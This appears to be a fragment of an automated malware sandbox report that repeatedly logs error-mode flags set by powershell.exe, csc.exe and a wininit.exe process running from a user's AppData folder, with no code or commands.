Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
